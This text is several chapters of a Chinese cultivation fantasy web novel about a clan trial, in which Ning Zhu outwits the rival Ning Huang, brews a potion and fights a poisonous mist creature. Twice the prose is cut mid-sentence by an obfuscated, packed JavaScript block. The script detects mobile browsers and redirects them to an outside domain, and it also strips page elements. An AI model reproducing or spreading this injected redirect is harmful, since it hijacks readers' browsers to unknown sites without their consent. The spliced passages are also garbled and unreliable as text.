似乎是觉察到他的意图,对方手一招,悬在他身侧的照明珠提供了足够的光亮,于是他看清了那张清俊的脸,看清了对方望过来的、如墨般不见底的眸。 ——宁竹。 他猛地瞪大了眼,咳呛着去摸索。他的手触碰到了一块牌子,他下意识地就要灌入灵力去毁灭它了,指尖的触感终究是快了意识一步。 那不是传送玉牌。 他冷汗涔涔。 那是他的木牌。 “你在找这个?”宁竹变戏法一般一翻手,那枚早就脱手而出的白玉牌便出现在他手中,其上的阵法在光下极其耀眼。 “真是好心喂了狗啊!”宁长青的声音从身后传来。 那两人的脚步声逐渐靠近,三人已然将他包围。 “你们……你们是一伙的……” 此刻他唯有后悔,后悔一开始不捏碎传送阵把宁煌叫过来。 宁竹笑了笑,他把玩着那枚白玉牌,问道:“这是什么?” 少男一咬牙关,他心下一狠,飞快地捏碎了自己的木牌。 消散的身影留下一个怨恨的眼神,轩队的声音再度响起:“当前出局人数:5。” “这会儿倒是不磨叽了。”宁兰之叹气,她接过宁竹手里的玉牌,“你怎么出来了?” “等太久了,我怕你们出什么事,就出来看看。”宁竹笑着接过,随口揶揄道:“演得可以啊你们俩。” 要不是他见过这两人私下相处的模样,说不定也会被他俩这一唱一和的演技骗过去。 “唉。没办法啊,谁都知道长青脾气好。”宁兰之幽幽叹气,眼神哀怨地看着宁长青。 宁长青心虚目移。 “但他们和我就不太熟了,”宁兰之笑,“长青做好人,我演坏人,基本上一套一个准。不过大多数时候没法用第二次了。” 这倒是。同一个套路要是上当两次,那最好去看看脑子有没有问题。 宁兰之盯着玉牌看了一会儿,片刻后,那玉牌又回到宁竹手上,她道:“传送阵。看来宁煌这次把宁星云拉拢了。” 宁竹摩挲着那块玉牌,他想了想,又把自己的木牌拿了出来。 两块牌子放在一块,无论是阵法的繁杂程度,还是载体本身的质量,那块白玉牌和木牌都不是能放在同一个层级比较的。 宁长青闻言疑惑道:“咱家什么时候出的灵阵师?” 宁兰之习以为常地解释:“去年。去年升学考核的时候,族里外聘的灵阵师说星云是个学灵阵好苗子,少族长就给她打包送过去了。” 这下,宁长青前一夜那莫名其妙踩到的传送阵,也搞清楚了是何人所为。 “召唤型传送阵。”宁竹突然开口。 “嗯?”宁兰之诧异地看了过来,“你能看出来这是什么类型的阵法?” “只是见过。”宁竹说。 “唔,我有个问题,”宁长青道,“他摔成那样了也没捏碎玉牌,一开始见到我的时候,也没有表现出要把玉牌拿出来的意思。” “虽然不知道他为什么在我和兰之走后才突然想启动传送阵,但是,你们刚刚也看到了,他在看到宁竹时,做了一个找玉牌的动作。” 宁兰之点头:“不错。我也注意到了,他看到宁竹之后,去找玉牌的行为完全是下意识地反应。” 这其中的意思,不言而喻了。 宁竹笑了:“看来,宁煌在找我啊。” “这是不是可以说明,宁煌和宁轲之间的战斗,是宁煌占了优势?”宁长青想了想,提出一个可能性较大的猜想,“最起码也是他在战斗中没有受到太多伤,还能保证自己一旦被传送到位,立刻就能对宁竹下手。” 宁兰之皱眉:“也不一定。宁竹……还没凝源。召唤型传送阵是直接把人传送到使用者身边,二打一的情况下,就算宁煌有伤也不是很影响吧。” 那枚玉牌忽的被抛了起来。少年低头一笑,那枚玉牌又稳稳落回他的掌心。 宁竹道:“我倒是有个想法。” 19.出局 昼夜的变化没能令得盘坐的少年睁开双眼。 聚拢而来的红色灵气在他周身牵连起风,以至于他那头过于显眼的红发轻柔地随风舞动。 他身后不远处,黑色的光幕冲天而起,黑色背景映照得他那一身火红的灵力更加明显,甚至能看清灵气如何被吸收炼化。 他的呼吸平稳绵长,似乎周遭的一切都无法引起他的注意。 草丛被谁踩过,沙沙的声响在这过于寂静的环境中被放大了不知多少倍,盘坐修炼着的少年唇角一翘,展开的灵力领域早在对方踏入之前便将对方的身影捕捉。 “啧。这么巧呢。” 宁竹在他身前不远处站定,他开口,于是宁煌也睁开眼,周身外放的灵力缓缓入体,他依旧盘膝坐在原地,一双眼望过来,眼底充满着玩味。 “宁竹。”他微微一笑,“你确实有意思。早就发现这里是我,却没有转身就跑?” “跑?”宁竹像是听到了什么有趣的话,他重复一句,便也笑了,“跑得出去?” 宁煌道:“不能。” “既然如此,那我白费那个功夫做什么。”宁竹语气不善,似乎是在为闯进了宁煌的修炼地而懊恼,“不如来看看,能不能谈到什么。” 宁煌显然很习惯这种上位者姿态,分明是他盘坐着,不得不微微抬头和宁竹对视,却生生做出了高傲的姿态:“说说看。” “你想要那株灵植,我可以给你。” 宁煌依旧保持着笑,语气不改,依旧高傲:“继续。” “哼……”宁竹冷哼一声,似乎是看不惯他如此做派,他顿了有一会儿,才继续开口,“但我给你灵植之后,你要保我活到时间结束。” “……哈。宁竹。” 宁煌仿佛听到了天大的笑话,他这回是真的笑了,笑得嘲讽。他一拍地面便起了身,火灵力随着他起身的动作外放而出,萦绕在他周身,已然形成火焰跃动的姿态。 “我本以为你是个聪明人,现在看来,是我高看你了。” 他微微一偏头,长刀便落入手。 “你拿什么和我谈判呢?宁竹。” 威压。宁竹呼吸有些不畅。聚气和散气只有一个大阶层之差,自他身上迸出的威压自然不算强大,可即便如此,宁竹仍感觉到灵力的运转凝滞了些许。 宁竹盯着他的眼,他笑起来:“凭我现在捏碎木牌主动出局,灵植仍然归我?” “宁竹,如果你真想保住灵植,就不会来见我。”宁煌抬起刀,长刀上,符文逐渐亮起,火焰蔓延刀身,锋刃上灼出一片焰色,“你想拖延时间——” 他笑了笑,手腕一翻,刀尖指向旁侧的巨树。 那树干离得离得很远,只有一道树枝伸过来,茂盛的叶片自宁煌头顶上展开。而就在其枝干上,一道鬼鬼祟祟的人影正伏低了身子,试图靠近。 “宁长青。哈,这就是你找的靠山?” 宁竹眉头一皱:“那看来是没得谈了?” 宁煌却不应声,他猛地抬手,凌空劈出一道火刃! “轰!” 树上的宁长青脸色瞬变,那火焰来得突然又迅猛,他被逼着不得不跳下树枝,那火刃砍在树上,砍出一道燃烧着烈火的深痕。 红发少年的视线在他二人身上来回打量,他大笑起来:“搞清楚了,是你没资格和我谈判!” “嘁,不过聚气六段而已,神气什么!”宁长青不服,他手上同样灵力流转,四段和六段之间的区别确实不大,若是竭力一拼,也并非赢面全无。 “六段?”宁煌仿佛听到了什么天大的笑话,他怜悯般地看着宁长青。 下一瞬,他身上的火焰再度高涨。 宁长青脸色骤变。 聚气……七段。 他突破了。 “倒是你,宁长青,这么久了还在四段打转,还想庇护一个散气?” 他猛地一蹬地面,身影之快几乎在两人眼底牵出一道残影,火光映得两人眼睛一疼,只一瞬,刀锋已至! 轰! 破土而出的藤蔓在火刀面前几乎没有任何作用,烈火轻易斩断了那坚韧的腾,宁竹只来得及退上一退,宁长青朝他扑来,破开的灵石化作护盾,长刀砍在其上,震出如水般剧烈震颤的波纹。 宁竹借机而退,宁煌却毫不在意,他长刀舞出,一道道火刃劈砍在护盾之上,他手上不停,脚上亦然。 烈火正面包裹护盾,尘烟阵阵,他做出正面硬撼护盾的假象,脚上一错步,他猛地往侧面跃去,赫然是准备从侧面绕开护盾杀入! “呵!” 一声冷笑飘然而至,一把裹着水流的木刀与他的火刀悍然相撞! “……宁兰之。” 宁煌盯着面前的身影,有些出乎意料,却又似乎在意料之中。 “聚气七段又怎么样,你还能以一敌三不成?”宁兰之没有丝毫畏惧,她同样盯着对方的眼,手上越发用力,压得那柄威风凛凛的火刀往回退了几分。 烈火与流水互相倾轧,滚滚水汽伴着“吱呀”的尖叫升腾。 “有趣!” 宁煌再度露出了笑,他悍然回击,手上发了狠劲,生生把宁兰之震退。 他脚上在泥土中蹬出一个浅坑,他丝毫没有等待的意思,追着还在半空的宁兰之,长刀已然提起—— 咻! 长藤铺在宁兰之脚下,她借力一蹬,身形擦着长藤而过,宁煌却来不及收力,长刀直直地砍入那藤蔓交织的网中—— 嗤! 烈火无情地灼烧着藤蔓,宁长青咳呛一声,他拼命催使着几乎被烧断的藤蔓,尽最后一丝力纠缠上宁煌的长刀与手腕。 “徒劳。” 宁煌冷哼一声,他眼神一凛,火焰自他身上荡开一层巨大的火环,瞬间焚毁了眼前的藤蔓,连带着准备从背后突袭的宁兰之都被震开。 她的发梢衣摆焦黑一片,宁兰之躲得快,却还是被火焰灼烧了手臂,皮肉传来的剧烈疼痛令她不得不分出一道水流覆盖伤处。 不远处的宁长青所召唤的长藤尽数焚毁,他同样被震退,双脚在泥土中犁出两道沟壑。 “是吗?” 宁竹的声音悠悠传来,他站在那光幕之前,只半步便能跨进那光幕中强制将自己淘汰出局。 “你要灵植,还是要他们出局?” 宁竹手上静静漂浮着那株异变的白叶参,冰凉的气息压下了那被宁煌的火焰烧灼得滚烫的空气。 宁煌转头看去。 他笑起来:“你真的很天真啊,宁竹。” 嗡! 宁竹脚下骤然亮起一道符文,他眼前一花,凭空而出数十道光箭已然锁定了他的站位。 “你手上的东西,交出来。” 被传送而来的身影凭空出现战局之中,迟来一步的灵阵师看着宁竹手上散发出奇异光泽的灵植,眼中的贪意直白浅显。 “小星云。” 宁兰之突然开了口,那灵阵师浑身骤然一僵,却还妄图装作听不见,宁兰之气笑了,她又喊,“怎么了,小星云,成了灵阵师就不认你兰之姐了?” “哎……怎么是你啊兰之姐……” 宁星云望过来,笑得尴尬:“拿钱办事嘛,兰之姐,你这次能不能当不认识我?” 宁兰之笑而不语,眼中警告意味不言而喻。 “拖住宁兰之。”宁煌却在此刻下达指令,他笑得张狂,话音未落,他猛地提刀朝宁长青砍去。 刀光就在眼前,宁长青却没有畏色。 相反。 刀锋映出他的脸庞。 映出—— 他唇角的笑。 不对。宁煌本能地感觉到了异样,他就要收刀回神,身上骤然闪起了属于传送阵的光芒。 ——谁?! 他仓惶间回过身,宁竹已然跨进了光幕之后,他手上,是一块破碎的白玉牌。 “嗡!” 宁煌的身影落在宁竹身侧,他仓促间抢出一刀,可木牌碎裂的声音已然响起,锋刃触及宁竹衣服时,他的身体已然虚幻了。 . “我有个猜想,光幕,只对木牌生效。” 前不久的白日里,天一转亮,他们便找到了一处光幕。宁竹把自己最初对光幕做的测试一一做给宁长青宁兰之看,最后把自己的猜想托出。 “我和宁瑞对战时,我拿到了他的木牌,想拿他试试人过去会怎么样。”宁竹道,“所以,我最后准备把木牌丢进去,逼迫他进去拿。” “但是……木牌一接触到光幕就瞬间裂开了。他人来不及动,就被传送走了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534077|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人面面相觑,他们来得太多次,早已把那些规则牢记于心,加上一开始来便被考核转移了注意力,从未对光幕的存在有过任何的猜疑。 而现在有人告诉他们,光幕只和木牌产生联动作用。 二人一时无言,宁竹见状便自己的木牌取出,交由宁长青之手。 旋即,他大步走入了光幕之中。 一秒、两秒……五秒……十秒…… 宁长青的心脏几乎要跳出喉口,隔着一道光幕,他从宁竹的眼里看到了一样的激动。 他的猜测完全正确。只要木牌不在身,人可以进入光幕之中! “你说这个,是想……”宁兰之回过味,她顿了顿,眼中露出几分异色。 “对。”宁竹微微抬起头,他手上握着那枚刻着传送阵的白玉牌,“我要赌一把,赌在光幕之后把人传送进来,能否碎裂他的木牌。” “……太冒险了。”宁兰之眉头蹙起。 “不算。”他从光幕中走出,那黑色的光幕没有在他身上留下任何的痕迹,“我们现在是二选一,如果我选的方向没遇上宁煌,那就用不上这一招,但如果遇上……我们可以一试。” “宁煌修为高于我们,他身边至少还有两个人,其中一个还是灵阵师,如果遇上……生机不大。” 宁兰之道:“宁星云……那个灵阵师,和我关系不错,我帮了她不少,最起码看在我的面子上,她不会下死手。” “那就是两个。” “可是宁竹,你怎么确定,宁煌的木牌一定在他自己身上?”宁长青还是不太接受这个冒险的方案,他提出另一种可能,“万一他的木牌交给了其他人呢?就像你交给我这样。” 宁竹笑着指了指他另一只手上,昨夜那倒霉蛋抛来的卷轴。 “这上边有多少信息?” “……两份。”宁长青不明所以,“这有什么关系?” “关系就是,宁煌没有那么信任他的同伙。”宁竹打开了自己的卷轴,贴在那份卷轴上,信息迅速交换,顿时,两份卷轴上的信息都累积到了八。 “交换是相互的。”宁兰之恍然大悟,“这张卷轴有两个人的信息,就说明完成过交换,而宁煌那边有五个人,却只交换了两份信息,说明他们是递增式传递——宁煌这小心眼的。” 宁长青试图理解:“你们是说……唔,我的信息和宁竹的信息交换完成之后,我们的卷轴会同时拥有我们两个人的,但是之后我再和兰之你交换,那我们的卷轴就是三份信息,而宁竹的卷轴依旧只有两份信息。” “没错。” 宁竹凝视着空中展开的两份卷轴,这个倒霉蛋手里的信息只有两份,其一说明他在团伙之中的地位可能是最低的,其二则是,宁煌对他的团伙信任度极低。 甚至很有可能——除了那个年纪小、一来就表现得死心塌地的宁瑞,其他人都是宁煌用钱雇佣、而非自主选择跟随的。 “这是我们最后的底牌,但我不能保证一定成功。” 宁竹看着手握他的木牌的宁长青,露出一个极具信任的笑:“所以,长青,你一定要盯着我。如果光幕没有失效,宁煌没被传送走,你要捏碎我的木牌,把我送出去。” “别说这么不吉利的话,”宁长青“呸”了几声,他揉揉脸,“二选一!还不一定就碰到宁煌呢。” “哈哈哈,”宁竹笑起来,他已经很久没有笑得这么真心实意过了,“要是碰不上,那当然是最好的。” “这才哪跟哪呢,”宁兰之同样笑起来,她补充,“遇不上宁煌,还顺利找到白叶参,这才是最好的!” . “当前出局人数:6。” 宁煌不可置信地看着宁竹的身影,同样置于光幕之中,为什么他的木牌没有碎裂? 可没有人能解答他了。 轩队的声音落下,那一抹红消逝眼前。 被触发的阵法轰在光幕上震出一圈圈波纹。灵阵师目瞪口呆地看着眼前的一切,她刚刚出现,实在搞不清楚眼前的状况。 宁兰之冷笑:“小星云,你还要继续和我作对吗?” “哎哟喂,哪敢哪敢……”灵阵师果断收阵,朝着宁兰之一鞠躬二鞠躬,倒向之快连墙头草都自愧不如,“兰之姐我现在就只听你的,你指哪我打哪!” 20.炼药 宁兰之看着演出一副可怜楚楚模样的宁星云,瞬间没了脾气,脸上那本就是演出来的气恼顿时消散不见。 她和宁长青二打一,即便宁星云有灵阵加身也未必能招架得住,但好赖宁兰之以前帮了她那么多回,没点感情在也不会如此。宁兰之还是没狠心把她也淘汰出去,只道:“说说吧,怎么跟宁煌混到一起去了。” 宁星云见宁兰之没有抗拒的意思,连忙凑上去:“哎,哎,这不是升学考核在即嘛,宁煌让我帮他布阵,用我多少灵阵,到时候折换多少丹药给我……” “我、兰之姐你是不知道,灵阵要用的材料好贵啊,我当这个灵阵师钱还没赚到呢,积分都见底了,这不……就只能找个大腿抱抱了嘛……” 宁星云拉着宁兰之的手,她嘴上说得可怜,光听语气感觉泪眼汪汪的,而事实是,她使劲巴眨眼也没能把泪水挤出来,最后还挨了宁兰之一下弹脑门,“啪”的一声,这回是真把她眼泪疼出来了。 “宁煌看来是对这次的灵植势在必得啊,”宁长青凑过来,奇怪地问,“可他们炼丹堂不是赚积分最容易的分部吗?灵植也是优先供应,他要什么灵植没有?” 宁星云撇嘴:“才不是,他根本就不在乎灵植。” 虽然她和宁煌接触不多,但就这几日下来,也足够宁星云摸清宁煌是什么想法了。 “他就是嫉妒少族长比他出众,去年不是少族长拿了第一吗?他也要。”宁星云毫不留情地揭穿宁煌,她白眼一翻,嘀嘀咕咕,“小心眼的家伙!” “哎对了兰之姐,”宁星云眼睛骨碌一转,她一把抱住了宁兰之的胳膊,两眼放光可怜兮兮地缠了上来,“兰之姐,你们今年就你和长青两个人吗?是不是有点缺战斗力呀?你看我怎么样?” 她嘴里说着自我推销一般的话,肢体动作却俨然是准备强买强卖了。 “是谁刚刚还不想认我来着?”宁兰之无语地往外抽手。 宁星云抱得更紧了,嘴一瘪就开始卖惨:“兰之姐你就收了我嘛,你看我都折了这么多灵阵了,宁煌被清出局,他肯定不会付款了,你就让我蹭蹭你们的嘛,我手里的卷轴可是有宁煌他们全部的信息!” 她一边说还一边腾出一只手发誓,唯恐宁兰之把她丢边上自生自灭:“加上你和长青的,我们再随便凑一个就能找二阶灵植了!你们放心,我肯定全力帮你们,不跟你们抢排名!” 宁长青听不下去了:“不是,谁跟你说……” “你不许说话!”宁星云转头一秒变脸,凶完宁长青又变回那副可怜的模样开始撒娇,“兰之姐——” “行了小星云,”宁兰之拍了拍她的手,宁星云当即意会收手,宁兰之笑得微妙,把宁长青没说完的话补充了下去,:“谁跟你说,我们只有两个人的?” 宁星云当即瞪大了眼。 她只顾着求抱团了,宁兰之这一说,她才想起来那个她刚来时就用灵阵锁定了的人影。 坏了坏了坏了…… 宁星云脑子都快转冒烟了,还是没能找到对应那张脸的信息。 不是,他谁啊?族里没见过这号人吧?! 看她这幅想得几近宕机的模样,宁兰之“噗嗤”一声笑了出来,她好心介绍:“他叫宁竹。” “——宁竹?!” 宁星云失声尖叫。 这家伙不是铁了心要啃家族的老底了吗,怎么他也来了?……来就来了吧,可他一个凝源都没有的家伙,怎么会和宁兰之混到一块去了? 而且、而且…… 如果她的记忆没出错的话,刚刚是……是宁竹捏碎了她给宁煌准备的传送玉牌,把宁煌传送进光幕里才导致的宁煌出局…… 宁星云顿感五雷轰顶。 宁兰之无语地拍她一下:“有点礼貌。” “不过,宁竹怎么还没出来?”宁长青往那光幕里望,那半透的光幕后见不到人影,他有些担心,“兰之,我过去看看。” 他话刚说完,那光幕骤然波动起来。 “长青!” 里头闯出的人影张口刚喊出个人名,他又顿住了,宁竹那原本热切的眼神忽的冷下来,他警惕地打量着兰之身旁那个陌生的少女。 宁星云尴尬地往宁兰之背后躲了躲。 “没事,宁竹,她……她是星云,和兰之关系很好的那个灵阵师。”宁长青上前一步解释道。 宁竹微微点头,没有追问,只是淡淡地开口道:“长青,我找到了。” 他原本激动的语气被他自己按了下来,可尾音还是难掩激动之色,微微上扬了些许。 宁长青眼睛一亮,宁兰之眼疾手快地撤住了他的衣袖,宁长青当即闭了嘴。 她看过去,同宁竹做最后的确认:“按原计划?” 宁竹点头:“按原计划。” “明白了。长青,我们先走。” 宁兰之果断拉上宁长青转身离去,他们三人本就约定好了,此刻确认完成自然不必再问。她没招呼宁星云,那姑娘顿时急了,也顾不上宁竹要做什么,嗷嗷叫着就缠了上去。 宁竹看着三人远去的背影,直到再也看不见身影,他紧绷的身体才骤然松懈下来。宁竹长出一口,他闭上眼,于是此刻,他耳边回荡着的,仅有自己那过快的心跳。 他缓缓往后退步,身体再一次没入光幕。 他侧过脸,就在那漫开的杂草丛中,他苦寻多时的白叶参,同那大片大片的杂草,一齐摇晃着叶片。 . 时间退回一刻钟前。 在他捏碎玉牌,利用规则将宁煌传送出去之后,他原本想直接走出去,可他一抬眼,那大片与白叶参叶片相似的杂草在他眼前铺开。 光幕之后的火灵气浓度上升了一个层级,如果是这里—— 宁竹的心跳飙升,他几乎能听见自己血液涌动的声音。 在一阵一阵如擂鼓的振动中,他缓缓挪动了步子,自指尖探出的木灵力小心翼翼地触上一片草叶。 他拨开草丛,他的手指不受控制地微微颤抖起来,一层、一层—— 宁兰之的话在此刻起效。 大片翠绿的草叶之中,那看似与周遭环境无异的白叶参悄然晃动着它的叶子。那极细、极其浅淡的白色脉络遍布整颗植株的叶片。 宁竹触摸上了那片叶子。 厚重的土灵力带着一丝烈火的焰气,映入他的感知之中。 宁竹连呼吸都急促了起来,他差点就直接动手开挖,所幸理智还未彻底下线。宁竹握住自己的手腕深呼一口气。 这要是现在就动手,那外头那两人不会进来,万一等太久了,误以为自己出了什么事捏碎木牌,那可就冤大了。 他在心底反复念了几遍静心诀,这才退了出去,准备告知外头等待的二人。 可他一出那光幕,便看见了先前还对着他准备动用杀招的灵阵师缠着宁兰之,宁竹顿时触发了防御本能,也好在相处这些时日,那两人已然对他有了足够的理解,确认了宁竹要在光幕之后进行他的事情之后,立即带走了宁星云。 至于之后,他们会不会告诉宁星云自己要做什么,那便是宁竹管顾不上的了。 此时此刻,除了那即将到手的化灵散,再无他物能牵动宁竹的心绪。 宁竹再一次拨开杂草,着急又小心用覆着灵力的手一捧一捧地破挖开泥土,直到那棵珍贵的白叶参,完完整整展地现他的眼前。 白叶参本身便是温养大补之物,是罕见的没有任何攻击性的灵植,它落入宁竹手中之时,温润且厚重的灵力顺着宁竹指尖的灵力传入宁竹的意识之中。 宁竹听见了自己的呼吸,听见耳边的嗡鸣,听见过快的心跳。他用力、深深地吸了一口气。此时此刻,他忽的感觉到连呼吸都变得艰涩。 成败在此一举。 他站起身,沾满泥土的双手捧着那棵同样裹着泥土的白叶参,涌出的水灵力凝成水液将其冲洗得干净。 从吊坠中召出的炉鼎看上去饱经风霜,划痕遍布,覆着一层烈火熏烤过后的污色。宁竹小心翼翼地放好那炉鼎,其他早就准备好的药材在眼前铺开。 宁竹看着那些药材好一会儿。这些放在外界都要被质疑是否用毒者的药材齐聚一堂,将在他手中被炼做外界有价无市的化灵散。 这两句话放在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545406|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,荒谬得他笑出了声。 他盘坐,调整呼吸,周身灵气萦绕,随着最后一刻补气丹的咽下,他的灵力逐渐恢复。 炼药不仅考验炼药者的技艺,更是以炼药者的灵力燃料来炼制,一旦中途灵力不足,那便只有失败这一个结局。 宁竹只有这一次机会。 他不能出任何差错。 随着体内灵力逐渐充盈,他的呼吸也越发平缓。宁竹直视着眼前的炉鼎,在最后一丝空隙被灵力填满那一刻,少年眼中闪过一丝寒光,他手一抬,体内早已蓄势待发的火灵力调动,猛地灌入炉鼎之中。 轰! 火焰迅速升腾,火舌舔舐过鼎身,高热之下,那炉鼎隐隐泛出了些许骇人的红。 宁竹另一只手轻轻一点,一串长满倒刺的长藤漂浮起来,投入炉鼎之中时,火焰顷刻间将它炼化,提炼出的汁液在火种沸腾翻滚,另一颗鲜艳的令人不寒而栗的果实迅速被投入,异香在火焰之中逸散。 下一个、再一个—— 从炼药开始那一刻,宁竹眼中便只剩下了这翻涌烈火的炉鼎和满地的药草。 化灵散他早已尝试过千百边,哪怕只是肌肉记忆,他也不可能会出错。 一株接一株的药草在准确的时刻落入药鼎,火焰的温度被宁竹控制得极其精确,鼎内异香阵阵,又同新进入的药草交融引发新的气息。 那是一种——一闻就让人本能警觉的、几乎把有毒两个字烙在每一缕逸开的烟尘之中的——属于毒物的气味。 . 天色又白转黑,骤变的环境没能打断宁竹的专注,一片昏暗中,唯有宁竹眼前的炉鼎带来光亮。 火光映照他的面庞,映照自他额角滑落的汗珠。 宁竹转头看向那株重中之重的白叶参。 他缓缓一招,那株白叶参悬空而起。自炉鼎之中分出的一小缕烈火先行一步将它包裹,旋即,那如玉般莹润的白色根系发出几声碎裂开的爆响。 浅褐色的汁液流淌而出,随着少年手势的变化,那不断炼出的汁水缓慢地滴入药鼎内里。 只一滴,那浓如墨汁的毒液气息瞬变。 嗡! 炉鼎剧烈震颤起来,宁竹一咬牙关,加倍输入灵力。 那两种截然不同的药汁相碰,瞬间犹如水如油锅般炸裂开来,炉鼎内叮叮当当听得一片混乱的尖啸。宁竹双手印结变化,那震颤的炉鼎被他强行稳住了,可内里的搏斗却丝毫没有停止的意思。 “哼……” 如果这是宁竹第一次炼药,他会慌,会失控。 可他不是。 宁竹长出一口气,他的感知中,火焰已然将那四处乱窜的两种药汁包裹。他双掌逐渐贴合,那两团挣扎不断的药汁也被强撵着逐渐逼近彼此。 火焰的温度猛地被宁竹提到了巅峰,那两团药汁瞬间失去了所有反抗的能力,在火焰的逼迫下混合、交融,直至颜色变化,异香飘散。 嗡! 那炉鼎再一次震颤起来,这一次,宁竹不再强行阻止,那一团颜色怪异的汁水裹着烈焰冲出炉鼎,宁竹打开事先准备好了的白玉瓶,那汁水便在火焰的裹挟下涌入玉瓶内,最后只听得汁水碰撞瓶身的低吟。 药成。 宁竹盯着那白玉瓶,他突然大脑有些空白。 身前的炉鼎火焰逐渐熄灭,那鼎“咔嚓”几声,似乎是又添裂痕,但最后它也只是落了地,没有火焰的灼烤,鼎身的焰色便也褪去。 他张了张口,一时说不出话。 事已成了大半,他却莫名感觉到了不真切。 ……这次炼药的时间比他想要的长。 他放出照明珠,起身,收拾,他恍惚之中想,他似乎已经习惯了这种黑暗。 然而下一个转身—— 昏暗余光下不知何时站立了一道人影。 宁竹心跳空了一拍,他手上一翻,银针上毒液翻涌。 那人影却只是歪了歪头,既不上前,也不做防。 他只是开口,他问—— “你在做什么?” 宁竹瞪大了眼。 ……宁殊哥? 21.毒 宁竹直直地盯着不远处的人影,身边的照明珠只能照亮他周身这一小片空间,那人影却恰恰好站在了光源之外,只能模糊地看见一个轮廓。 他听见自己过快的心跳。 宁殊哥怎么会在这里?他是怎么进来的、怎么发现自己的?……他看到了多少? 宁竹的设想里并未有这样的一幕。是他大意了忽略了这种可能,还是……自己暴露了?宁竹缓缓收紧了拳头,他的手微微往后藏了些许,隐起指尖的银芒。 要下手吗? 电光火石间已容不得宁竹多虑,他一步踏出,跟随周身的照明珠一并抵近。 “你为什么会在这,宁殊哥?” 咻! 宁竹骤然发难,指尖银芒连闪,呼啸着划破黑暗。宁殊已过聚星,一整个大阶层之差,宁竹谈何胜算,可即便如此宁竹也必须放手一搏—— 宁竹猛地前冲,落至手上的竹棍在空中弓出可怖的弧度。 噗! 身前那道人影在棍下化作黑烟散去。 那使了十成十力度的棍砸在岩石上,棍身被那巨大的冲击力震得迸出声声碎裂的爆鸣,宁竹虎口发麻,他却不顾上疼,只怔怔地盯着眼前那黑烟之下坚硬的岩石。 讶异。愕然。冷汗自他额角滑落,砸在地面,“啪嗒”一声,他身后又响起那犹如鬼魅的声音。 “你为什么在这里?” 宁竹猛地起身回防,可那道人影依旧只在他身前不近不远处站立。模模糊糊的,宁竹几乎看见了那轮廓在蠕动,是黑烟翻涌。 ……不是他眼花了。 方才他冲上前一棍砸落时,照明珠随着他的动作一并冲来,可光亮之下他并不能看清对方的脸。 那是一团黑雾,一团聚集成人型的黑雾。 “……你是谁?” 他低声逼问,那人影却噤了声。 宁竹往前一步,那人影就后撤一步。 像是保持着距离,又像是试图引诱宁竹走入更深处的禁地。 该死。宁竹拧起眉头。是因为有这种东西,才把这块地方圈为危险禁入区域?宁竹微微转动眼珠,天昏地暗之间,他分不清楚方向,也找不到来时路。 要在这里耗? ……不行。宁竹下一瞬便否定了自己的想法。先前炼药就已经消耗了他大量的灵力,大脑更是因为过度的紧绷而突突直跳,疼得他指尖发麻。 郁苍谷的白天和夜晚是相近的时长,要在这里耗下去,他的意识第一个撑不住。 他手往腰侧探去,旋即摸了个空。宁竹心跳几乎空了一拍,他冷汗涔涔,已然超负荷的大脑这才混沌地想起,他为了进这块禁地,把木牌交给了宁长青。 此时,哪怕是宁竹想将自己强制出局,都没有了办法。 退无可退。 宁竹反手将那根碎裂的竹棍狠狠插入地面,作为锚点协助宁竹确定方位。如此环境下,实在太容易在不知不觉间迷失方向,宁竹不允许自己落入绝对的被动中。 这团雾型的人影……倒是很像之前的狼头。 那么一样的手段会有效吗? 宁竹灵力切换,涌上指尖的红芒跃动,瞬息间汇成跃动的火苗。他握住了自手环中取出的最后一截竹棍,火焰萦绕而上,竹棍上烈火熊熊燃烧。 解决它! 宁竹俯身冲上,竹棍在空中舞出一道残影,棍身带着烈火呼啸而下! 轰! 那雾似乎很害怕火焰的烧灼,它散开绕开了宁竹,又在他身后再度凝聚。 宁竹早有所料,他猛地回身,及时收住的竹棍没有完全落地,随着他的手臂回身横扫而出,那雾还没完全凝结,冷不防被宁竹这一扫揽腰劈断! “呜!” 雾里传来尖锐的哀鸣,火焰零星烧到了一点雾气,顿时一股奇异的味道扑面而来,宁竹脸色瞬变,他迅速捂住了自己的口鼻,正好给了那雾退开的时机。 这雾烧灼后竟然会变成毒。 宁竹盯着它往后飘去的身影。那动作分明又轻又缓,如一片云般轻柔飘过,可动作实际上快得宁竹难以捕捉其行动轨迹。 它似乎有自己的意识,恰恰好在照明珠的光照范围边缘停下。 然而只要宁竹往前那么几步,他身后那根被他钉做锚点的竹棍,就会离开光照范围。 宁竹缓缓往竹棍方向走去,他每往前一步,雾型人影便往后退一些,始终保持着处在边缘的位置。 “你为什么不过来?” 它似乎是识破了宁竹不打算离开锚点的意图,它又一次发问。 宁竹皱起眉头。 这次的声音很杂。 以宁殊的声音为主,混入了几分宁长青的语调。它是怎么做到的? 宁竹背倚着那根竹棍,他视线直直地盯着那在边缘来回游荡的黑雾。 二者彼此“对视”,安静半晌,宁竹那打定了主意不动的姿态似乎激怒了它,那团雾中骤然爆出一声尖锐的嘶喊,它猛地冲了上来! 宁竹不闪不退,反而迎面而上! 轰! 他掌心中一直凝聚的灵力轰然转为火焰直直拍入那团黑雾之中,黑雾瞬间被点燃,瞬息之中那火焰轰然爆开! 